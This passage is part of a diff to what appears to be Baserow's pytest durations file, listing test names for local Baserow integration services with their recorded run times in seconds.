"tests/baserow/contrib/integrations/local_baserow/service_types/test_delete_row_service_type.py::test_local_baserow_delete_row_service_dispatch_data_with_no_row_id": 0.1287136239989195, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_delete_row_service_type.py::test_local_baserow_delete_row_service_dispatch_transform": 0.01624825000180863, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_delete_row_service_type.py::test_update_local_baserow_delete_row_service": 0.12065508202067576, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_get_row_service_type.py::test_can_dispatch_interesting_table": 4.699416916002519, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_get_row_service_type.py::test_create_local_baserow_get_row_service": 0.13801420803065412, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_get_row_service_type.py::test_dispatch_transform_passes_field_ids[None]": 0.013499166001565754, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_get_row_service_type.py::test_dispatch_transform_passes_field_ids[field_names1]": 0.013568957976531237, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_get_row_service_type.py::test_export_import_local_baserow_get_row_service": 0.2803855009842664, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_get_row_service_type.py::test_extract_properties[path0-expected0]": 0.01263054201263003, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_get_row_service_type.py::test_extract_properties[path1-expected1]": 0.012684791989158839, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_get_row_service_type.py::test_extract_properties[path2-expected2]": 0.01267804199596867, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_get_row_service_type.py::test_extract_properties[path3-expected3]": 0.012688540999079123, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_get_row_service_type.py::test_extract_properties[path4-expected4]": 0.012693625030806288, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_get_row_service_type.py::test_extract_properties[path5-expected5]": 0.01264604102470912, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_get_row_service_type.py::test_import_datasource_provider_formula_using_get_row_service_containing_no_field_fails_silently": 0.17038725098245777, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_get_row_service_type.py::test_import_formula_local_baserow_get_row_user_service_type": 0.21365091696497984, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_get_row_service_type.py::test_local_baserow_get_row_service_dispatch_data_no_row_id": 0.16332066702307202, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_get_row_service_type.py::test_local_baserow_get_row_service_dispatch_data_permission_denied": 0.14555070997448638, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_get_row_service_type.py::test_local_baserow_get_row_service_dispatch_data_row_not_exist": 0.13726020805188455, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_get_row_service_type.py::test_local_baserow_get_row_service_dispatch_data_with_service_integer_search": 0.15645420900546014, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_get_row_service_type.py::test_local_baserow_get_row_service_dispatch_data_with_service_search": 0.15812066697981209, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_get_row_service_type.py::test_local_baserow_get_row_service_dispatch_data_with_view_filter": 0.17206916600116529, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_get_row_service_type.py::test_local_baserow_get_row_service_dispatch_transform": 0.18791950002196245, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_get_row_service_type.py::test_local_baserow_get_row_service_dispatch_validation_error": 0.12563250001403503, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_get_row_service_type.py::test_local_baserow_get_row_user_service_type_import_path[path0-database_fields0-expected0]": 0.015490708028664812, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_get_row_service_type.py::test_local_baserow_get_row_user_service_type_import_path[path1-database_fields1-expected1]": 0.015461124014109373, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_get_row_service_type.py::test_local_baserow_get_row_user_service_type_import_path[path2-database_fields2-expected2]": 0.01544608297990635, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_get_row_service_type.py::test_local_baserow_get_row_user_service_type_import_path[path3-database_fields3-expected3]": 0.014789459004532546, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_get_row_service_type.py::test_local_baserow_get_row_user_service_type_import_path[path4-database_fields4-expected4]": 0.016253708017757162, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_get_row_service_type.py::test_local_baserow_get_row_user_service_type_import_path[path5-database_fields5-expected5]": 0.015128708037082106, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_get_row_service_type.py::test_order_by_is_applied_depending_on_views_sorts[view_sorts0]": 0.16912570802378468, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_get_row_service_type.py::test_order_by_is_applied_depending_on_views_sorts[view_sorts1]": 0.1630785829911474, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_get_row_service_type.py::test_order_by_is_applied_depending_on_views_sorts[view_sorts2]": 0.15789329301333055, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_get_row_service_type.py::test_order_by_is_applied_depending_on_views_sorts[view_sorts3]": 0.16001399999368005, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_get_row_service_type.py::test_update_local_baserow_get_row_service": 0.13723950000712648, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_list_rows_service_type.py::test_can_dispatch_interesting_table": 6.534958292031661, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_list_rows_service_type.py::test_can_dispatch_table_with_deleted_field": 0.17320508399279788, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_list_rows_service_type.py::test_create_local_baserow_list_rows_service": 0.13990895796450786, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_list_rows_service_type.py::test_dispatch_transform_passes_field_ids[None]": 0.013530416996218264, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_list_rows_service_type.py::test_dispatch_transform_passes_field_ids[field_names1]": 0.013396917027421296, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_list_rows_service_type.py::test_export_import_local_baserow_list_rows_service": 0.27072816700092517, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_list_rows_service_type.py::test_extract_properties[path0-expected0]": 0.012674917030381039, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_list_rows_service_type.py::test_extract_properties[path1-expected1]": 0.013446333003230393, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_list_rows_service_type.py::test_extract_properties[path2-expected2]": 0.012586999975610524, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_list_rows_service_type.py::test_extract_properties[path3-expected3]": 0.01277129104710184, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_list_rows_service_type.py::test_extract_properties[path4-expected4]": 0.012568415986606851, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_list_rows_service_type.py::test_extract_properties[path5-expected5]": 0.012720750033622608, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_list_rows_service_type.py::test_import_datasource_provider_formula_using_list_rows_service_containing_no_row_or_field_fails_silently": 0.169720624020556, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_list_rows_service_type.py::test_import_formula_local_baserow_list_rows_user_service_type": 0.21583258302416652, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_list_rows_service_type.py::test_local_baserow_list_rows_service_before_dispatch_validation_error": 0.10265395804890431, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_list_rows_service_type.py::test_local_baserow_list_rows_service_dispatch_data_permission_denied": 0.16925429098773748, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_list_rows_service_type.py::test_local_baserow_list_rows_service_dispatch_data_with_pagination": 0.17873812399921007, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_list_rows_service_type.py::test_local_baserow_list_rows_service_dispatch_data_with_varying_filter_types": 0.22761345794424415, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_list_rows_service_type.py::test_local_baserow_list_rows_service_dispatch_data_with_view_and_service_filters": 0.20853183302097023, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_list_rows_service_type.py::test_local_baserow_list_rows_service_dispatch_data_with_view_and_service_sorts": 0.15098662502714433, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_list_rows_service_type.py::test_local_baserow_list_rows_service_dispatch_transform": 0.1811292089696508, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_list_rows_service_type.py::test_local_baserow_list_rows_service_dispatch_transform_with_default": 0.2009722910297569, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_list_rows_service_type.py::test_local_baserow_list_rows_service_import_context_path": 0.017653124989010394, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_list_rows_service_type.py::test_local_baserow_list_rows_user_service_type_import_path[path0-database_fields0-expected0]": 0.019049124006414786, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_list_rows_service_type.py::test_local_baserow_list_rows_user_service_type_import_path[path1-database_fields1-expected1]": 0.016517248994205147, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_list_rows_service_type.py::test_local_baserow_list_rows_user_service_type_import_path[path2-database_fields2-expected2]": 0.016130958014400676, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_list_rows_service_type.py::test_local_baserow_list_rows_user_service_type_import_path[path3-database_fields3-expected3]": 0.015780417015776038, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_list_rows_service_type.py::test_local_baserow_list_rows_user_service_type_import_path[path4-database_fields4-expected4]": 0.015381124016130343, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_list_rows_service_type.py::test_local_baserow_list_rows_user_service_type_import_path[path5-database_fields5-expected5]": 0.015049416047986597, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_list_rows_service_type.py::test_order_by_is_applied_depending_on_views_sorts[view_sorts0]": 0.1576687489869073, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_list_rows_service_type.py::test_order_by_is_applied_depending_on_views_sorts[view_sorts1]": 0.1575504149950575, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_list_rows_service_type.py::test_order_by_is_applied_depending_on_views_sorts[view_sorts2]": 0.14512329100398347, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_list_rows_service_type.py::test_order_by_is_applied_depending_on_views_sorts[view_sorts3]": 0.15193458396242931, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_list_rows_service_type.py::test_search_on_multiple_select_with_list": 0.38619250102783553, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_list_rows_service_type.py::test_update_local_baserow_list_rows_service": 0.1360378350073006, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_upsert_row_service_type.py::test_dispatch_transform_passes_field_ids[None-None]": 0.013536293030483648, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_upsert_row_service_type.py::test_dispatch_transform_passes_field_ids[field_names1-expected1]": 0.01335091597866267, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_upsert_row_service_type.py::test_dispatch_transform_passes_field_ids[field_names2-expected2]": 0.013551915966672823, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_upsert_row_service_type.py::test_export_import_local_baserow_upsert_row_service": 0.6803616659890395, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_upsert_row_service_type.py::test_extract_properties_returns_expected_list[path0-expected0]": 0.012665125948842615, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_upsert_row_service_type.py::test_extract_properties_returns_expected_list[path1-expected1]": 0.012784834019839764, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_upsert_row_service_type.py::test_extract_properties_returns_expected_list[path2-expected2]": 0.012640458036912605, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_upsert_row_service_type.py::test_extract_properties_returns_expected_list[path3-expected3]": 0.012722707993816584, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_upsert_row_service_type.py::test_extract_properties_returns_expected_list[path4-expected4]": 0.012667416012845933, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_upsert_row_service_type.py::test_extract_properties_returns_expected_list[path5-expected5]": 0.012644748989259824, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_upsert_row_service_type.py::test_extract_properties_returns_expected_list[path6-expected6]": 0.013464290997944772, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_upsert_row_service_type.py::test_extract_properties_returns_expected_list[path7-expected7]": 0.012588624027557671, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_upsert_row_service_type.py::test_local_baserow_upsert_row_service_after_update": 0.22348912499728613, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_upsert_row_service_type.py::test_local_baserow_upsert_row_service_dispatch_data_convert_value": 0.2039337500173133, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_upsert_row_service_type.py::test_local_baserow_upsert_row_service_dispatch_data_disabled_field_mapping_fields": 0.1901073739863932, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_upsert_row_service_type.py::test_local_baserow_upsert_row_service_dispatch_data_incompatible_value": 0.1487682489969302, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_upsert_row_service_type.py::test_local_baserow_upsert_row_service_dispatch_data_with_multiple_formulas": 0.18695374904200435, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_upsert_row_service_type.py::test_local_baserow_upsert_row_service_dispatch_data_with_read_only_table_field": 0.1728050830133725, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_upsert_row_service_type.py::test_local_baserow_upsert_row_service_dispatch_data_with_row_id": 0.19081624899990857, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_upsert_row_service_type.py::test_local_baserow_upsert_row_service_dispatch_data_with_unknown_row_id": 0.1263672910281457, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_upsert_row_service_type.py::test_local_baserow_upsert_row_service_dispatch_data_without_row_id": 0.17214220901951194, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_upsert_row_service_type.py::test_local_baserow_upsert_row_service_dispatch_data_without_row_id_with_file": 0.16562387402518652, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_upsert_row_service_type.py::test_local_baserow_upsert_row_service_dispatch_transform": 0.1523131680150982, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_upsert_row_service_type.py::test_local_baserow_upsert_row_service_prepare_values": 0.09947766704135574, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_upsert_row_service_type.py::test_local_baserow_upsert_row_service_resolve_service_formulas": 0.14428804197814316, + "tests/baserow/contrib/integrations/local_baserow/service_types/test_upsert_row_service_type.py::test_local_baserow_upsert_row_service_type_import_path": 0.01729345798958093, + "tests/baserow/contrib/integrations/local_baserow/test_integration_signals.py::test_local_baserow_service_filters_delete_when_field_type_changes_to_incompatible_type": 0.30435766698792577, + "tests/baserow/contrib/integrations/local_baserow/test_integration_signals.py::test_local_baserow_upsert_row_handle_field_mapping_field_changes": 0.1785419579828158, + "tests/baserow/contrib/integrations/local_baserow/test_integration_signals.py::test_local_baserow_upsert_row_send_action_done_signal_when_creating_row": 0.15004754200344905, + "tests/baserow/contrib/integrations/local_baserow/test_integration_signals.py::test_local_baserow_upsert_row_send_action_done_signal_when_deleting_row": 0.15403562600840814, + "tests/baserow/contrib/integrations/local_baserow/test_integration_signals.py::test_local_baserow_upsert_row_send_action_done_signal_when_updating_row": 0.14605929199024104, + "tests/baserow/contrib/integrations/local_baserow/test_integration_types.py::test_after_import": 0.1060306660074275, + "tests/baserow/contrib/integrations/local_baserow/test_integration_types.py::test_create_local_baserow_integration_with_user": 0.09358904100372456, + "tests/baserow/contrib/integrations/local_baserow/test_integration_types.py::test_get_integrations_serializer": 0.2784921250131447, + "tests/baserow/contrib/integrations/local_baserow/test_integration_types.py::test_get_local_baserow_databases": 0.20571416700840928, + "tests/baserow/contrib/integrations/local_baserow/test_integration_types.py::test_get_local_baserow_databases_no_databases": 0.16616666698246263, + "tests/baserow/contrib/integrations/local_baserow/test_integration_types.py::test_get_local_baserow_databases_number_of_queries": 0.14466083401930518, + "tests/baserow/contrib/integrations/local_baserow/test_integration_types.py::test_get_local_baserow_databases_performance": 0.00011283298954367638, + "tests/baserow/contrib/integrations/local_baserow/test_local_baserow_models.py::test_local_baserow_table_service_field_mapping_manager": 0.14686129105393775, + "tests/baserow/contrib/integrations/local_baserow/test_local_baserow_models.py::test_local_baserow_table_service_refinement_manager": 0.1471519999904558, + "tests/baserow/contrib/integrations/local_baserow/test_migrations.py::test_0003_migrate_local_baserow_table_service_filter_values_to_formulas_forwards": 9.354099165648222e-05, + "tests/baserow/contrib/integrations/local_baserow/test_migrations.py::test_0003_migrate_local_baserow_table_service_filter_values_to_formulas_reduce_to_filter_types_to_migrate": 0.01686716702533886, + "tests/baserow/contrib/integrations/local_baserow/test_migrations.py::test_0004_migrate_local_baserow_getrow_list_rows_search_query_to_formulas_forwards": 7.03750120010227e-05, + "tests/baserow/contrib/integrations/local_baserow/test_migrations.py::test_0006_migrate_local_baserow_table_service_filter_formulas_to_value_is_formula_forwards": 7.045798702165484e-05, + "tests/baserow/contrib/integrations/local_baserow/test_mixins.py::test_local_baserow_table_service_filterable_mixin_compat": 0.017990375024965033, + "tests/baserow/contrib/integrations/local_baserow/test_mixins.py::test_local_baserow_table_service_filterable_mixin_get_dispatch_filters_raises_exception_on_trashed_field": 0.1961370010394603, + "tests/baserow/contrib/integrations/local_baserow/test_mixins.py::test_local_baserow_table_service_filterable_mixin_get_table_queryset": 0.2795867079985328, + "tests/baserow/contrib/integrations/local_baserow/test_mixins.py::test_local_baserow_table_service_filterable_mixin_get_used_field_names": 0.19959625002229586, + "tests/baserow/contrib/integrations/local_baserow/test_mixins.py::test_local_baserow_table_service_filterable_mixin_import_export": 0.7261902080208529, + "tests/baserow/contrib/integrations/local_baserow/test_mixins.py::test_local_baserow_table_service_searchable_mixin_get_table_queryset": 0.45280283398460597, + "tests/baserow/contrib/integrations/local_baserow/test_mixins.py::test_local_baserow_table_service_searchable_mixin_get_used_field_names": 0.2112693329981994, + "tests/baserow/contrib/integrations/local_baserow/test_mixins.py::test_local_baserow_table_service_sortable_mixin_get_dispatch_sorts_raises_exception_on_trashed_field": 0.2064341680088546, + "tests/baserow/contrib/integrations/local_baserow/test_mixins.py::test_local_baserow_table_service_sortable_mixin_get_table_queryset": 0.2255696659849491, + "tests/baserow/contrib/integrations/local_baserow/test_mixins.py::test_local_baserow_table_service_sortable_mixin_get_used_field_names": 0.2035121239896398, "tests/baserow/contrib/integrations/local_baserow/test_service_types.py::test_create_local_baserow_get_row_service": 0.11057092295959592, "tests/baserow/contrib/integrations/local_baserow/test_service_types.py::test_create_local_baserow_list_rows_service": 0.11218285094946623, "tests/baserow/contrib/integrations/local_baserow/test_service_types.py::test_dispatch_local_baserow_get_row_service": 0.0955890120001186, @@ -4993,6 +8241,7 @@ "tests/baserow/contrib/integrations/local_baserow/test_service_types.py::test_guess_type_for_response_serialize_field_permutations": 0.009340792003058596, "tests/baserow/contrib/integrations/local_baserow/test_service_types.py::test_import_datasource_provider_formula_using_get_row_service_containing_no_field_fails_silently": 0.13678257504943758, "tests/baserow/contrib/integrations/local_baserow/test_service_types.py::test_import_datasource_provider_formula_using_list_rows_service_containing_no_row_or_field_fails_silently": 0.12276799196843058, + "tests/baserow/contrib/integrations/local_baserow/test_service_types.py::test_local_baserow_agg_service_type_generate_schema_excludes_fields": 0.19740974996238947, "tests/baserow/contrib/integrations/local_baserow/test_service_types.py::test_local_baserow_get_row_service_dispatch_data_no_row_id": 0.12178421800490469, "tests/baserow/contrib/integrations/local_baserow/test_service_types.py::test_local_baserow_get_row_service_dispatch_data_permission_denied": 0.1110642469720915, "tests/baserow/contrib/integrations/local_baserow/test_service_types.py::test_local_baserow_get_row_service_dispatch_data_row_not_exist": 0.11678480997215956, @@ -5008,14 +8257,34 @@ "tests/baserow/contrib/integrations/local_baserow/test_service_types.py::test_local_baserow_list_rows_service_dispatch_data_with_view_and_service_filters": 0.14736075897235423, "tests/baserow/contrib/integrations/local_baserow/test_service_types.py::test_local_baserow_list_rows_service_dispatch_data_with_view_and_service_sorts": 0.16979043709579855, "tests/baserow/contrib/integrations/local_baserow/test_service_types.py::test_local_baserow_list_rows_service_dispatch_transform": 0.12530828185845166, - "tests/baserow/contrib/integrations/local_baserow/test_service_types.py::test_local_baserow_service_type_get_schema_for_return_type": 0.008326957997269346, - "tests/baserow/contrib/integrations/local_baserow/test_service_types.py::test_local_baserow_table_service_before_dispatch_validation_error": 0.14817870799925004, - "tests/baserow/contrib/integrations/local_baserow/test_service_types.py::test_local_baserow_table_service_generate_schema_with_interesting_test_table": 3.526588709999487, - "tests/baserow/contrib/integrations/local_baserow/test_service_types.py::test_local_baserow_table_service_generate_schema_with_no_table": 0.14379187500071566, - "tests/baserow/contrib/integrations/local_baserow/test_service_types.py::test_local_baserow_table_service_type_after_update_table_change_deletes_filters_and_sorts": 0.008842166000249563, - "tests/baserow/contrib/integrations/local_baserow/test_service_types.py::test_local_baserow_table_service_type_get_context_data": 0.18195529199965677, - "tests/baserow/contrib/integrations/local_baserow/test_service_types.py::test_local_baserow_table_service_type_get_context_data_schema": 0.17648949999966135, - "tests/baserow/contrib/integrations/local_baserow/test_service_types.py::test_local_baserow_table_service_type_schema_name": 0.008196790999136283, + "tests/baserow/contrib/integrations/local_baserow/test_service_types.py::test_local_baserow_rows_created_trigger_service_type_handler": 0.4302073750004638, + "tests/baserow/contrib/integrations/local_baserow/test_service_types.py::test_local_baserow_rows_deleted_trigger_service_type_handler": 0.41534050001064315, + "tests/baserow/contrib/integrations/local_baserow/test_service_types.py::test_local_baserow_rows_updated_trigger_service_type_handler": 0.4365428750170395, + "tests/baserow/contrib/integrations/local_baserow/test_service_types.py::test_local_baserow_service_type_dispatch_types": 0.013096875016344711, + "tests/baserow/contrib/integrations/local_baserow/test_service_types.py::test_local_baserow_service_type_get_schema_for_return_type": 0.013045710016740486, + "tests/baserow/contrib/integrations/local_baserow/test_service_types.py::test_local_baserow_table_agg_service_type_get_context_data_excludes_fields": 0.19881608296418563, + "tests/baserow/contrib/integrations/local_baserow/test_service_types.py::test_local_baserow_table_service_before_dispatch_validation_error": 0.12277804198674858, + "tests/baserow/contrib/integrations/local_baserow/test_service_types.py::test_local_baserow_table_service_generate_schema_with_interesting_test_table": 6.6269082489889115, + "tests/baserow/contrib/integrations/local_baserow/test_service_types.py::test_local_baserow_table_service_generate_schema_with_no_table": 0.09868895800900646, + "tests/baserow/contrib/integrations/local_baserow/test_service_types.py::test_local_baserow_table_service_type_after_update_table_change_deletes_filters_and_sorts": 0.01333204100956209, + "tests/baserow/contrib/integrations/local_baserow/test_service_types.py::test_local_baserow_table_service_type_generate_schema_cache_invalidation": 0.17934504302684218, + "tests/baserow/contrib/integrations/local_baserow/test_service_types.py::test_local_baserow_table_service_type_generate_schema_excludes_fields[None-False]": 0.17006512501393445, + "tests/baserow/contrib/integrations/local_baserow/test_service_types.py::test_local_baserow_table_service_type_generate_schema_excludes_fields[allowed_fields_id_indexes0-True]": 0.15982370800338686, + "tests/baserow/contrib/integrations/local_baserow/test_service_types.py::test_local_baserow_table_service_type_generate_schema_excludes_fields[allowed_fields_id_indexes1-False]": 0.16668737499276176, + "tests/baserow/contrib/integrations/local_baserow/test_service_types.py::test_local_baserow_table_service_type_generate_schema_excludes_fields_with_cache": 0.1650453330075834, + "tests/baserow/contrib/integrations/local_baserow/test_service_types.py::test_local_baserow_table_service_type_get_context_data": 0.1786242079688236, + "tests/baserow/contrib/integrations/local_baserow/test_service_types.py::test_local_baserow_table_service_type_get_context_data_cache_invalidation": 0.18415287500829436, + "tests/baserow/contrib/integrations/local_baserow/test_service_types.py::test_local_baserow_table_service_type_get_context_data_excludes_fields[None-False]": 0.1613811659917701, + "tests/baserow/contrib/integrations/local_baserow/test_service_types.py::test_local_baserow_table_service_type_get_context_data_excludes_fields[allowed_fields_id_indexes0-True]": 0.1589189990190789, + "tests/baserow/contrib/integrations/local_baserow/test_service_types.py::test_local_baserow_table_service_type_get_context_data_excludes_fields[allowed_fields_id_indexes1-False]": 0.15704924901365303, + "tests/baserow/contrib/integrations/local_baserow/test_service_types.py::test_local_baserow_table_service_type_get_context_data_excludes_fields_with_cache": 0.15499412498320453, + "tests/baserow/contrib/integrations/local_baserow/test_service_types.py::test_local_baserow_table_service_type_get_context_data_schema": 0.16093854096834548, + "tests/baserow/contrib/integrations/local_baserow/test_service_types.py::test_local_baserow_table_service_type_get_context_data_schema_cache_invalidation": 0.1784749579965137, + "tests/baserow/contrib/integrations/local_baserow/test_service_types.py::test_local_baserow_table_service_type_get_context_data_schema_excludes_fields[None-False]": 0.15377595901372842, + "tests/baserow/contrib/integrations/local_baserow/test_service_types.py::test_local_baserow_table_service_type_get_context_data_schema_excludes_fields[allowed_fields_type0-True]": 0.16132450103759766, + "tests/baserow/contrib/integrations/local_baserow/test_service_types.py::test_local_baserow_table_service_type_get_context_data_schema_excludes_fields[allowed_fields_type2-False]": 0.16475954299676232, + "tests/baserow/contrib/integrations/local_baserow/test_service_types.py::test_local_baserow_table_service_type_get_context_data_schema_excludes_fields_with_cache": 0.14587699898402207, + "tests/baserow/contrib/integrations/local_baserow/test_service_types.py::test_local_baserow_table_service_type_schema_name": 0.012685584020800889, "tests/baserow/contrib/integrations/local_baserow/test_service_types.py::test_local_baserow_upsert_row_service_after_update": 0.19182687310967594, "tests/baserow/contrib/integrations/local_baserow/test_service_types.py::test_local_baserow_upsert_row_service_dispatch_data_incompatible_value": 0.13892320194281638, "tests/baserow/contrib/integrations/local_baserow/test_service_types.py::test_local_baserow_upsert_row_service_dispatch_data_with_multiple_formulas": 0.18241370806936175, @@ -5027,362 +8296,1249 @@ "tests/baserow/contrib/integrations/local_baserow/test_service_types.py::test_local_baserow_upsert_row_service_prepare_values": 0.09174276108387858, "tests/baserow/contrib/integrations/local_baserow/test_service_types.py::test_local_baserow_upsert_row_service_resolve_service_formulas": 0.11915414198301733, "tests/baserow/contrib/integrations/local_baserow/test_service_types.py::test_local_baserow_upsert_row_service_type_import_path": 0.010541102034039795, + "tests/baserow/contrib/integrations/local_baserow/test_service_types.py::test_local_baserow_view_service_type_prepare_values": 0.2302746679924894, "tests/baserow/contrib/integrations/local_baserow/test_service_types.py::test_update_local_baserow_get_row_service": 0.10155041702091694, "tests/baserow/contrib/integrations/local_baserow/test_service_types.py::test_update_local_baserow_list_rows_service": 0.1015919178025797, - "tests/baserow/core/actions/test_action_type.py::test_action_type_description_is_correct": 0.01119724999898608, - "tests/baserow/core/actions/test_application_actions.py::test_can_undo_create_application": 0.14789770700099325, + "tests/baserow/contrib/integrations/local_baserow/test_utils.py::test_guess_cast_function_for_filefieldserializer": 0.09143741600564681, + "tests/baserow/contrib/integrations/local_baserow/test_utils.py::test_guess_cast_function_from_response_serialize_field[None-None]": 0.012640499015105888, + "tests/baserow/contrib/integrations/local_baserow/test_utils.py::test_guess_cast_function_from_response_serialize_field[serializer0-ensure_string]": 0.01279874998726882, + "tests/baserow/contrib/integrations/local_baserow/test_utils.py::test_guess_cast_function_from_response_serialize_field[serializer1-ensure_string]": 0.012874959007604048, + "tests/baserow/contrib/integrations/local_baserow/test_utils.py::test_guess_cast_function_from_response_serialize_field[serializer10-ensure_array]": 0.012688583985436708, + "tests/baserow/contrib/integrations/local_baserow/test_utils.py::test_guess_cast_function_from_response_serialize_field[serializer2-ensure_string]": 0.012733998970361426, + "tests/baserow/contrib/integrations/local_baserow/test_utils.py::test_guess_cast_function_from_response_serialize_field[serializer3-ensure_integer]": 0.012866334000136703, + "tests/baserow/contrib/integrations/local_baserow/test_utils.py::test_guess_cast_function_from_response_serialize_field[serializer4-ensure_string]": 0.012706290988717228, + "tests/baserow/contrib/integrations/local_baserow/test_utils.py::test_guess_cast_function_from_response_serialize_field[serializer5-ensure_boolean]": 0.012884625990409404, + "tests/baserow/contrib/integrations/local_baserow/test_utils.py::test_guess_cast_function_from_response_serialize_field[serializer6-ensure_date]": 0.01272470797994174, + "tests/baserow/contrib/integrations/local_baserow/test_utils.py::test_guess_cast_function_from_response_serialize_field[serializer7-ensure_datetime]": 0.012821749987779185, + "tests/baserow/contrib/integrations/local_baserow/test_utils.py::test_guess_cast_function_from_response_serialize_field[serializer8-ensure_array]": 0.01267799999914132, + "tests/baserow/contrib/integrations/local_baserow/test_utils.py::test_guess_cast_function_from_response_serialize_field[serializer9-ensure_array]": 0.012858124973718077, + "tests/baserow/contrib/integrations/local_baserow/test_utils.py::test_guess_cast_function_from_response_serialize_field[unknown-None]": 0.012671958975261077, + "tests/baserow/contrib/integrations/local_baserow/test_utils.py::test_guess_type_for_response_serialize_field_permutations": 0.013059792021522298, + "tests/baserow/contrib/integrations/local_baserow/test_utils.py::test_prepare_file_for_db[-result1]": 0.08694350102450699, + "tests/baserow/contrib/integrations/local_baserow/test_utils.py::test_prepare_file_for_db[None-result0]": 0.08666604096652009, + "tests/baserow/contrib/integrations/local_baserow/test_utils.py::test_prepare_file_for_db[value2-result2]": 0.08727720796014182, + "tests/baserow/contrib/integrations/local_baserow/test_utils.py::test_prepare_file_for_db[value3-result3]": 0.08426424997742288, + "tests/baserow/contrib/integrations/local_baserow/test_utils.py::test_prepare_file_for_db[value4-result4]": 0.08638987498125061, + "tests/baserow/contrib/integrations/local_baserow/test_utils.py::test_prepare_file_for_db[value5-result5]": 0.08651416597422212, + "tests/baserow/contrib/integrations/local_baserow/test_utils.py::test_prepare_file_for_db_with_existing_file": 0.1587267080321908, + "tests/baserow/contrib/integrations/local_baserow/test_utils.py::test_prepare_file_for_db_with_file": 0.10068616704666056, + "tests/baserow/contrib/integrations/local_baserow/test_utils.py::test_prepare_file_for_db_with_mix": 0.16289745902759023, + "tests/baserow/contrib/integrations/local_baserow/test_utils.py::test_prepare_file_for_db_with_toolarge_url": 0.09670033302973025, + 